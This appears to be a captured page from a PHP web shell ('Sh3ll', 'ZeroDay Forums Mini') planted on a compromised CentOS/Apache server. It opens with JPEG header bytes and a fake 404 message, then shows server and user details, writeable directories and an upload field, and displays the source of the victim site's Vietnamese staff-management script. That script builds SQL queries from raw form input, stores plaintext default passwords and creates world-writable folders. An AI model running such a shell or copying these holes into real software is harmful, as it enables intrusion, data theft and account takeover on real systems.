����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkeweb2/code/admin/users/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/thietkeweb2/code/admin/users/post.php
<?php
$CORE->page_title = 'Cập nhật user';


$staff_id = (isset($CORE->input['staff_id']) && $CORE->input['staff_id']>0) ? $CORE->input['staff_id']: 0;

if($staff_id>0) {
    $row_user = $DB->fetch_row($DB->query("SELECT * FROM tb_user a LEFT JOIN tb_staff b ON a.user_id=b.user_id WHERE b.staff_id='$staff_id' "));
}else{
    $row_user = $DB->get_colum_tb('tb_staff');
    $row_user['user_image'] = '';
}
if(isset($CORE->input['submitbt'])){
    $f = $CORE->input['f'];
    $fullname = $f['staff_fullname'];
    $v_name_order = $func->generate_pupil_order($fullname);
    $arr_student_name = explode(' ',$fullname);
    $v_ten = trim($arr_student_name[count($arr_student_name)-1]);

    if($f['staff_fullname']!='') {
        if(intval($f['staff_id'])>0){

            $DB->query("UPDATE `tb_staff` SET `staff_fullname` = '".$f['staff_fullname']."', `staff_lastname` = '".$v_ten."', `staff_email` = '".$f['staff_email']."', `staff_email365` = '', `staff_gender` = '".$f['staff_gender']."', `staff_birthday` = '".date('Y-m-d')."', `staff_address` = '', `staff_dantoc` = 0, `staff_mobile` = '', `staff_cmnd` = '', `staff_trinhdohocvan` = '', `staff_marry` = 0,`staff_group` = '".$f['staff_group']."', `staff_joindate` = '".date('Y-m-d')."',`staff_order`='".$v_name_order."' WHERE `staff_id` = '".$f['staff_id']."';");
            $v_staff_id = intval($f['staff_id']);
            $row_check = $DB->fetch_row($DB->query("SELECT * FROM `tb_staff` WHERE `staff_id` = '$v_staff_id' "));
            $row_user_check = $DB->fetch_row($DB->query("SELECT * FROM tb_user WHERE user_id='".$row_check['user_id']."' "));
            $user_id = $row_user_check['user_id'];
        }else {
            //making order name
            $v_name_order = $func->generate_pupil_order($f['staff_fullname']);
            //making password
            $password = $func->make_password();
            $password_hash = password_hash($password, PASSWORD_DEFAULT, ['cost' => 12]);
            //create username
            $txt_sub_name = '';
            $txt_first_name = '';
            foreach ($arr_student_name as $val){
                if(trim($val)!=$v_ten){
                    $txt_first_name = $func->format_string(trim($val));
                    $txt_sub_name .= strtolower(substr($txt_first_name,0,1));
                }
            }
            $txt_user_name = $func->format_string($v_ten).$txt_sub_name;
            $row_check_user = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_user WHERE user_key LIKE '%$txt_user_name%'"));
            $v_chr_start = 1;
            $flag = 1;
            $v_chr_start = $row_check_user['total'];
            if($v_chr_start>0) {
                $txt_user_name = $txt_user_name . $v_chr_start;
            }
            while($DB->get_num_rows($DB->query("SELECT * FROM tb_user WHERE user_key='$txt_user_name' "))){
                $flag = $v_chr_start+1;
                $txt_user_name = str_replace($v_chr_start,$flag,$txt_user_name);
            }
            $DB->query("INSERT INTO `tb_user` ( `user_key`,`user_password_default`,`user_password_hash`,`user_type`, `user_last_login`,`user_status`,user_jointime) VALUES ('$txt_user_name', '$password', '$password_hash','staff', '1970-01-01 00:00:00','active','".time()."');");
            $user_id = $DB->insert_id();
            //insert teacher
            $DB->query("INSERT INTO `tb_staff` ( `company_id`, `user_id`, `staff_fullname`, `staff_lastname`,  `staff_email`, `staff_email365`, `staff_gender`, `staff_birthday`, `staff_address`, `staff_dantoc`, `staff_mobile`, `staff_cmnd`, `staff_trinhdohocvan`, `staff_marry`, `staff_joindate`, `staff_function`, `staff_group`, `staff_order`,`staff_status`) VALUES ( '100', '".$user_id."', '".$f['staff_fullname']."', '".$v_ten."', '".$f['staff_email']."', '', '".$f['staff_gender']."', '".date('Y-m-d')."', '', '', '', '', '', '', '".date('Y-m-d')."','','".$f['staff_group']."', '".$v_name_order."','0');");
            $v_staff_id = $DB->insert_id();

        }
        //upload image
        if($_FILES['image_field']){
            include 'lib/class.upload.php';
            $v_folder = date('m-Y');
            $handle = new upload($_FILES['image_field']);
            if ($handle->uploaded) {
                $v_image_name = $v_staff_id.'_'.time().'_'.uniqid();
                $handle->allowed = array('image/*');
                $handle->file_new_name_body  = $v_image_name;
                $handle->file_max_size = '1000000';
                $handle->image_convert = 'png';

                $year_now = date('Y');
                $month_now = date('m');
                if(!is_dir("upload/user")){
                    mkdir("upload/user", 0777);
                }
                if (is_dir("upload/user/" . $year_now)) {
                    if (!is_dir("upload/user/" . $year_now . "/" . $month_now)) {
                        mkdir("upload/user/" . $year_now . "/" . $month_now, 0777);
                    }
                } else {
                    mkdir("upload/user/" . $year_now, 0777);
                    if (!is_dir("upload/user/" . $year_now . "/" . $month_now)) {
                        mkdir("upload/user/" . $year_now . "/" . $month_now, 0777);
                    }
                }
                $v_folder = $year_now . "/" . $month_now;
                $handle->process(ROOT_PATH.'upload/user/'.$v_folder.'/');
                $v_image_folder = $v_folder.'/'.$v_image_name.'.png';
                if ($handle->processed) {
                    if(isset($row_user_check['user_image']) and $row_user_check['user_image']!='') {
                        @unlink(ROOT_PATH . 'upload/user/'.$row_user_check['user_image']);
                    }
                    $DB->query("UPDATE tb_user SET user_image='".$v_image_folder."' WHERE user_id='$user_id' ");
                    $handle->clean();
                } else {
                    $handle->clean();
                    close_popup('!Upload Error: '.$handle->error);

                }
            }
        }
        close_popup('Đã cập nhật');
    }
}
include 'include/block/header_popup.php';
?>
<div class="card">
        <div class="card-header bg-success text-white">Cập nhật user</div>
        <div class="card-body">
            <?php
            if($staff_id>0){
            if($row_user['user_password_default']!=''){
                $txt_user_password_default = $row_user['user_password_default'];
            }else{
                $txt_user_password_default = 'Đã đổi';
            }
            ?>
            <table class="table table-bordered mb-3">
                <tr><td colspan="3">Thông tin đăng nhập</td></tr>
                <tr><th>Username</th><th>Password default</th><th>#</th></tr>
                <tr><td><?php echo $row_user['user_key'];?></td><td><?php echo $txt_user_password_default;?></td>
                    <td><a href="javascript:void(0);" class="reset_pass btn btn-sm btn-info" rel="<?php echo $staff_id;?>">Reset password</a></td>
                </tr>
            </table>
            <?php } ?>

            <form action="" method="post" enctype="multipart/form-data" id="form_hoan_tra">
                <input type="hidden" value="<?php echo $staff_id;?>" name="f[staff_id]">
                <div class="row">
                    <div class="col-sm-6">
                        <div class="form-group">
                            <label>Họ tên:</label>
                            <input type="text" value="<?php echo $row_user['staff_fullname'];?>" name="f[staff_fullname]" class="form-control" required>
                        </div>
                    </div>
                    <div class="col-sm-6">
                        <div class="form-group">
                            <label>Email:</label>
                            <input type="email" value="<?php echo $row_user['staff_email'];?>" name="f[staff_email]" class="form-control" required>
                        </div>
                    </div>
                </div>

                <div class="row">
                    <div class="col-sm-12">
                        <div class="form-group">
                            <label>Avatar</label>
                            <input type="file" class="dropify form-control" name="image_field" data-default-file="<?php
if($row_user['user_image']!='' and file_exists('upload/user/'.$row_user['user_image'])){
    echo 'upload/user/'.$row_user['user_image'];
}
?>" data-max-file-size="1M" data-allowed-file-extensions="png jpg gif" data-height="100">
                        </div>
                    </div>
                </div>

                <div class="row">
                    <div class="col-sm-6">
                        <div class="form-group">
                            <label>Giới tính:</label>
                            <select class="form-control" name="f[staff_gender]" required>
                                <option value="">---</option>
                                <option value="1" <?php if($row_user['staff_gender']==1){ echo 'selected';}?>>Nam</option>
                                <option value="2" <?php if($row_user['staff_gender']==2){ echo 'selected';}?>>Nữ</option>
                                <option value="3" <?php if($row_user['staff_gender']==3){ echo 'selected';}?>>Khác</option>
                            </select>
                        </div>
                    </div>
                    <div class="col-sm-6">
                        <div class="form-group">
                            <label>Group:</label>
                            <select class="form-control" name="f[staff_group]" required>
                                <option value="">---</option>
                                <option value="1" <?php if($row_user['staff_group']==1){ echo 'selected';}?>>Validator</option>
                                <option value="2" <?php if($row_user['staff_group']==2){ echo 'selected';}?>>Members</option>
                                <option value="3" <?php if($row_user['staff_group']==3){ echo 'selected';}?>>Super moderator</option>
                                <option value="4" <?php if($row_user['staff_group']==4){ echo 'selected';}?>>Admins</option>
                                <option value="5" <?php if($row_user['staff_group']==5){ echo 'selected';}?>>Guests</option>
                            </select>
                        </div>
                    </div>
                </div>

                <input type="submit" class="submit" style="display:none;" name="submitbt">
            </form>
        </div>
        <div class="card-footer">
            <a class="gui_yeu_cau btn btn-danger" href="javascript:void(0);">Cập nhật</a>
            <a class="dong m-l-5 btn btn-dark" href="javascript:void(0);">Đóng</a>
        </div>
    </div>

    <script>
        $('.mydatepicker, #datepicker').datepicker({
            format: 'dd-mm-yyyy',
        });
        $('.gui_yeu_cau').click(function (){
            $('#form_hoan_tra .submit').click();
            return false;
        });
        $('.dong').click(function (){
            window.close();
        });
        $('.reset_pass').click(function (){
           var staff_id = $(this).attr('rel');
            $.ajax({url: "?act=admin&code=users&type=reset_pass&staff_id="+staff_id, success: function(result){
                alert('Đã đổi mật khẩu.');
                location.reload();
            }});

        });
    </script>
<?php
include 'include/block/footer_popup.php';
exit();
?>

ZeroDay Forums Mini